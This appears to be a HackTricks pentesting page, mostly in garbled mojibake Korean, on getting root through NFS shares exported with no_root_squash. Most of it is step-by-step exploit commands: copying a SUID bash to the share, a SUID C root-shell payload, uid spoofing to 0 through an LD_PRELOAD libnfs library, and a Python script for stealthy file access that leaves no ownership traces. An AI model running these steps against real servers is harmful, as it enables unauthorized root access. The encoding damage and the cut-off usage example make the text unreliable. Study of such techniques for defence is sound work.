NFS No Root Squash Misconfiguration Privilege Escalation

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Squashing Basic Info

NFS๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ (ํŠนํžˆ ๋ฆฌ๋ˆ…์Šค์—์„œ) ํŒŒ์ผ์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•ด ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ง€์ •ํ•œ uid์™€ gid๋ฅผ ์‹ ๋ขฐํ•ฉ๋‹ˆ๋‹ค (kerberos๊ฐ€ ์‚ฌ์šฉ๋˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ). ๊ทธ๋Ÿฌ๋‚˜ ์„œ๋ฒ„์—์„œ ์ด ๋™์ž‘์„ ๋ณ€๊ฒฝํ•˜๋Š” ๋ช‡ ๊ฐ€์ง€ ์„ค์ •์ด ์žˆ์Šต๋‹ˆ๋‹ค:

  • all_squash: ๋ชจ๋“  ์ ‘๊ทผ์„ ์••์ถ•ํ•˜์—ฌ ๋ชจ๋“  ์‚ฌ์šฉ์ž์™€ ๊ทธ๋ฃน์„ nobody (65534 unsigned / -2 signed)๋กœ ๋งคํ•‘ํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋ชจ๋“  ์‚ฌ์šฉ์ž๋Š” nobody๊ฐ€ ๋˜๋ฉฐ ์‚ฌ์šฉ์ž๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค.
  • root_squash/no_all_squash: ์ด๋Š” ๋ฆฌ๋ˆ…์Šค์˜ ๊ธฐ๋ณธ๊ฐ’์ด๋ฉฐ uid 0 (root)๋กœ์˜ ์ ‘๊ทผ๋งŒ ์••์ถ•ํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋ชจ๋“  UID์™€ GID๋Š” ์‹ ๋ขฐ๋˜์ง€๋งŒ 0์€ nobody๋กœ ์••์ถ•๋ฉ๋‹ˆ๋‹ค (๋”ฐ๋ผ์„œ root ๊ฐ€์žฅ์€ ๋ถˆ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค).
  • ``no_root_squash`: ์ด ์„ค์ •์ด ํ™œ์„ฑํ™”๋˜๋ฉด root ์‚ฌ์šฉ์ž์กฐ์ฐจ ์••์ถ•ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์ด ์„ค์ •์œผ๋กœ ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ๋งˆ์šดํŠธํ•˜๋ฉด root๋กœ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

/etc/exports ํŒŒ์ผ์—์„œ no_root_squash๋กœ ์„ค์ •๋œ ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ์ฐพ์œผ๋ฉด, ํด๋ผ์ด์–ธํŠธ๋กœ์„œ ํ•ด๋‹น ๋””๋ ‰ํ† ๋ฆฌ์— ์ ‘๊ทผํ•˜๊ณ  ๋กœ์ปฌ ๋จธ์‹ ์˜ root์ธ ๊ฒƒ์ฒ˜๋Ÿผ ๊ทธ ์•ˆ์— ์“ฐ๊ธฐ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

NFS์— ๋Œ€ํ•œ ๋” ๋งŽ์€ ์ •๋ณด๋Š” ๋‹ค์Œ์„ ํ™•์ธํ•˜์„ธ์š”:

2049 - Pentesting NFS Service

Privilege Escalation

Remote Exploit

์˜ต์…˜ 1, bash ์‚ฌ์šฉ:

  • ํด๋ผ์ด์–ธํŠธ ๋จธ์‹ ์—์„œ ํ•ด๋‹น ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ๋งˆ์šดํŠธํ•˜๊ณ , root๋กœ์„œ ๋งˆ์šดํŠธ๋œ ํด๋” ์•ˆ์— /bin/bash ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋ณต์‚ฌํ•˜๊ณ  SUID ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•œ ํ›„, ํ”ผํ•ด์ž ๋จธ์‹ ์—์„œ ๊ทธ bash ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.
  • NFS ๊ณต์œ  ๋‚ด์—์„œ root๊ฐ€ ๋˜๋ ค๋ฉด, **no_root_squash**๊ฐ€ ์„œ๋ฒ„์— ์„ค์ •๋˜์–ด ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  • ๊ทธ๋Ÿฌ๋‚˜ ํ™œ์„ฑํ™”๋˜์ง€ ์•Š์€ ๊ฒฝ์šฐ, ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ NFS ๊ณต์œ ์— ๋ณต์‚ฌํ•˜๊ณ  ์ƒ์Šนํ•˜๊ณ ์ž ํ•˜๋Š” ์‚ฌ์šฉ์ž๋กœ์„œ SUID ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜์—ฌ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๋กœ ์ƒ์Šนํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
#Attacker, as root user
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /bin/bash .
chmod +s bash

#Victim
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell

์˜ต์…˜ 2: C๋กœ ์ปดํŒŒ์ผ๋œ ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ:

  • ํด๋ผ์ด์–ธํŠธ ๋จธ์‹ ์—์„œ ํ•ด๋‹น ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ๋งˆ์šดํŠธํ•˜๊ณ , ๋ฃจํŠธ๋กœ ๋ณต์‚ฌํ•˜์—ฌ ๋งˆ์šดํŠธ๋œ ํด๋” ์•ˆ์— SUID ๊ถŒํ•œ์„ ์•…์šฉํ•  ์ปดํŒŒ์ผ๋œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋„ฃ๊ณ , ํฌ์ƒ์ž ๋จธ์‹ ์—์„œ ํ•ด๋‹น ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค (์—ฌ๊ธฐ์—์„œ ์ผ๋ถ€ C SUID ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค).
  • ์ด์ „๊ณผ ๋™์ผํ•œ ์ œํ•œ ์‚ฌํ•ญ.
#Attacker, as root user
gcc payload.c -o payload
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /tmp/payload .
chmod +s payload

#Victim
cd <SHAREDD_FOLDER>
./payload #ROOT shell

Local Exploit

Tip

Note that if you can create a tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports.
The following trick is in case the file /etc/exports indicates an IP. In this case you wonโ€™t be able to use in any case the remote exploit and you will need to abuse this trick.
Another required requirement for the exploit to work is that the export inside /etc/export must be using the insecure flag.
โ€“Iโ€™m not sure that if /etc/export is indicating an IP address this trick will workโ€“

Basic Information

์ด ์‹œ๋‚˜๋ฆฌ์˜ค๋Š” ๋กœ์ปฌ ๋จธ์‹ ์—์„œ ๋งˆ์šดํŠธ๋œ NFS ๊ณต์œ ๋ฅผ ์•…์šฉํ•˜๋Š” ๊ฒƒ์œผ๋กœ, ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ž์‹ ์˜ uid/gid๋ฅผ ์ง€์ •ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋Š” NFSv3 ์‚ฌ์–‘์˜ ๊ฒฐํ•จ์„ ์ด์šฉํ•˜์—ฌ ๋ฌด๋‹จ ์ ‘๊ทผ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์ด ์•…์šฉ์€ NFS RPC ํ˜ธ์ถœ์„ ์œ„์กฐํ•  ์ˆ˜ ์žˆ๋Š” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์ธ libnfs๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.

Compiling the Library

๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ปดํŒŒ์ผ ๋‹จ๊ณ„๋Š” ์ปค๋„ ๋ฒ„์ „์— ๋”ฐ๋ผ ์กฐ์ •์ด ํ•„์š”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ํŠน์ • ๊ฒฝ์šฐ์—๋Š” fallocate ์‹œ์Šคํ…œ ํ˜ธ์ถœ์ด ์ฃผ์„ ์ฒ˜๋ฆฌ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ปดํŒŒ์ผ ๊ณผ์ •์€ ๋‹ค์Œ ๋ช…๋ น์–ด๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค:

./bootstrap
./configure
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/

Exploit ์ˆ˜ํ–‰

์ด ์ต์Šคํ”Œ๋กœ์ž‡์€ ๊ถŒํ•œ์„ ๋ฃจํŠธ๋กœ ์ƒ์Šน์‹œํ‚ค๊ณ  ์…ธ์„ ์‹คํ–‰ํ•˜๋Š” ๊ฐ„๋‹จํ•œ C ํ”„๋กœ๊ทธ๋žจ(pwn.c)์„ ๋งŒ๋“œ๋Š” ๊ฒƒ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ํ”„๋กœ๊ทธ๋žจ์ด ์ปดํŒŒ์ผ๋˜๊ณ , ๊ฒฐ๊ณผ ์ด์ง„ ํŒŒ์ผ(a.out)์ด suid root๋กœ ๊ณต์œ ์— ๋ฐฐ์น˜๋˜๋ฉฐ, ld_nfs.so๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ RPC ํ˜ธ์ถœ์—์„œ uid๋ฅผ ์œ„์กฐํ•ฉ๋‹ˆ๋‹ค:

  1. ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ ์ปดํŒŒ์ผ:
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
  1. ๊ณต์œ ์— ์ต์Šคํ”Œ๋กœ์ž‡์„ ๋ฐฐ์น˜ํ•˜๊ณ  uid๋ฅผ ์กฐ์ž‘ํ•˜์—ฌ ๊ถŒํ•œ์„ ์ˆ˜์ •ํ•ฉ๋‹ˆ๋‹ค:
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
  1. ๋ฃจํŠธ ๊ถŒํ•œ์„ ์–ป๊ธฐ ์œ„ํ•ด ์ต์Šคํ”Œ๋กœ์ž‡์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค:
/mnt/share/a.out
#root

Bonus: NFShell for Stealthy File Access

๋ฃจํŠธ ์ ‘๊ทผ ๊ถŒํ•œ์„ ์–ป์€ ํ›„, ์†Œ์œ ๊ถŒ์„ ๋ณ€๊ฒฝํ•˜์ง€ ์•Š๊ณ (NFS ๊ณต์œ ์— ๋Œ€ํ•œ ํ”์ ์„ ๋‚จ๊ธฐ์ง€ ์•Š๊ธฐ ์œ„ํ•ด) NFS ๊ณต์œ ์™€ ์ƒํ˜ธ์ž‘์šฉํ•˜๊ธฐ ์œ„ํ•ด Python ์Šคํฌ๋ฆฝํŠธ(nfsh.py)๊ฐ€ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ด ์Šคํฌ๋ฆฝํŠธ๋Š” ์ ‘๊ทผํ•˜๋Š” ํŒŒ์ผ์˜ uid๋ฅผ ์ผ์น˜์‹œ์ผœ, ๊ถŒํ•œ ๋ฌธ์ œ ์—†์ด ๊ณต์œ ์˜ ํŒŒ์ผ๊ณผ ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค:

#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html
import sys
import os

def get_file_uid(filepath):
try:
uid = os.stat(filepath).st_uid
except OSError as e:
return get_file_uid(os.path.dirname(filepath))
return uid

filepath = sys.argv[-1]
uid = get_file_uid(filepath)
os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:]))

์‹คํ–‰ ๋ฐฉ๋ฒ•:

# ll ./mount/
drwxr-x---  6 1008 1009 1024 Apr  5  2017 9.3_old

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ